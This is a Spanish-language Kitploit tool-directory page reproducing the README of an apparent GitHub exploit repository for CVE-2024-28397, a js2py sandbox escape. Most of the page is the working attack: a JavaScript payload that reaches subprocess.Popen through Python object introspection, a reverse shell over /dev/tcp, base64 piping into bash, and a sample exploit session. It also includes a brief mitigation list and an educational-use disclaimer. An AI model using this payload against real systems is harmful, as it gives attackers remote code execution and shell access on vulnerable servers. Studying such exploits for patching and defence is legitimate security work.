Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
js2py-Sandbox-Escape-CVE-2024-28397-RCE — Scripts de exploit para CVE-2024-28397, un escape de sandbox de js2py que ejecuta código Python arbitrario para generar un shell inverso en un endpoint objetivo. | Kitploit
Herramientas/GitHubGitHub/0xdtc/js2py-sandbox-escape-cve-2024-28397-rce
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebAprendizaje y EducaciónHerramienta de Acceso Remoto
GitHub0xdtc/js2py-sandbox-escape-cve-2024-28397-rce

js2py-Sandbox-Escape-CVE-2024-28397-RCE

Scripts de exploit para CVE-2024-28397, un escape de sandbox de js2py que ejecuta código Python arbitrario para generar un shell inverso en un endpoint objetivo.

Ver Repositorio
36hace 0 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-28397 Exploit de Escape de Sandbox de js2py

Una colección de scripts de exploit dirigidos a la vulnerabilidad de escape de sandbox de js2py (CVE-2024-28397) que permite la ejecución de código arbitrario a través de la introspección de objetos de Python.

🔍 Resumen de la Vulnerabilidad

La biblioteca js2py contiene una vulnerabilidad crítica de escape de sandbox que permite a los atacantes ejecutar código Python arbitrario accediendo a objetos internos de Python a través del método Object.getOwnPropertyNames() de JavaScript.

Detalles Técnicos

  • ID de CVE: CVE-2024-28397
  • Biblioteca Afectada: js2py (traductor de JavaScript a Python)
  • Vector de Ataque: Escape de sandbox mediante introspección de objetos de Python
  • Impacto: Ejecución Remota de Código (RCE)

📋 Análisis de Referencia

Este exploit se basa en el análisis exhaustivo de Marven11:

  • Documento de Análisis: Análisis de Escape de Sandbox de js2py CVE-2024-28397

🛠️ Scripts de Exploit

Este repositorio contiene tres implementaciones diferentes:

1. Script de Bash (exploit.sh)

Implementación ligera de bash usando curl y jq.

2. Script de Go (exploit.go)

Implementación multiplataforma de Go con cliente HTTP incorporado.

🚀 Inicio Rápido

Requisitos Previos

  • Para el script de Bash: curl, jq, base64
  • Para el script de Go: Go 1.16+

Uso

Todos los scripts son interactivos y solicitarán la información requerida:

root@kitploit:~
# Bash version
chmod +x exploit.sh
./exploit.sh

# Go version
go run exploit.go

Indicaciones Interactivas

Cada script pedirá:

  1. URL de destino: El endpoint que ejecuta código js2py vulnerable
  2. Tu IP: La dirección IP de tu máquina para la reverse shell
  3. Tu Puerto: Número de puerto para la conexión de reverse shell

Ejemplo de Sesión

root@kitploit:~
$ ./exploit.sh
Target URL: http://target.example.com:8000/run_code
Your IP: 10.10.14.3
Your Port: 9001
Sending to http://target.example.com:8000/run_code with reverse shell 10.10.14.3:9001
{"result": "executed"}

🎯 Cómo Funciona

1. Generación del Payload

El exploit crea dinámicamente un comando de reverse shell:

root@kitploit:~
sh -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1

2. Codificación Base64

El comando shell se codifica en base64 para una transmisión segura:

root@kitploit:~
base64_payload=$(echo -n "$reverse_shell" | base64 -w 0)

3. Escape de Sandbox de JavaScript

El exploit principal utiliza JavaScript para acceder a los objetos internos de Python:

root@kitploit:~
let cmd = "printf BASE64_PAYLOAD|base64 -d|bash";
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a,"__class__"), "__base__");
function findpopen(o) {
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i];
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item;
        }
        if(item.__name__ != "type") {
            let result = findpopen(item);
            if(result) return result;
        }
    }
}
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();

4. Flujo de Ejecución

  1. Acceder al sistema de objetos de Python a través de Object.getOwnPropertyNames({})
  2. Navegar a las clases base mediante __class__.__base__.__getattribute__
  3. Buscar subclases para subprocess.Popen
  4. Ejecutar comandos arbitrarios del sistema a través de Popen

🛡️ Mitigación

  • Actualizar js2py a una versión parcheada
  • Implementar una validación y sanitización adecuada de entradas
  • Usar alternativas seguras de sandboxing
  • Aplicar medidas de seguridad de defensa en profundidad

📚 Propósito Educativo

Estos scripts se proporcionan únicamente con fines educativos y de pruebas autorizadas. Asegúrate siempre de tener la autorización adecuada antes de realizar pruebas contra cualquier sistema.

🔗 Referencias

  • Entrada Oficial de CVE-2024-28397
  • Análisis Detallado de Marven11
  • Repositorio de js2py en GitHub

⚖️ Descargo de Responsabilidad

Este software se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. Los usuarios son responsables de cumplir con las leyes aplicables y de obtener la autorización adecuada antes de su uso.

Descargar herramienta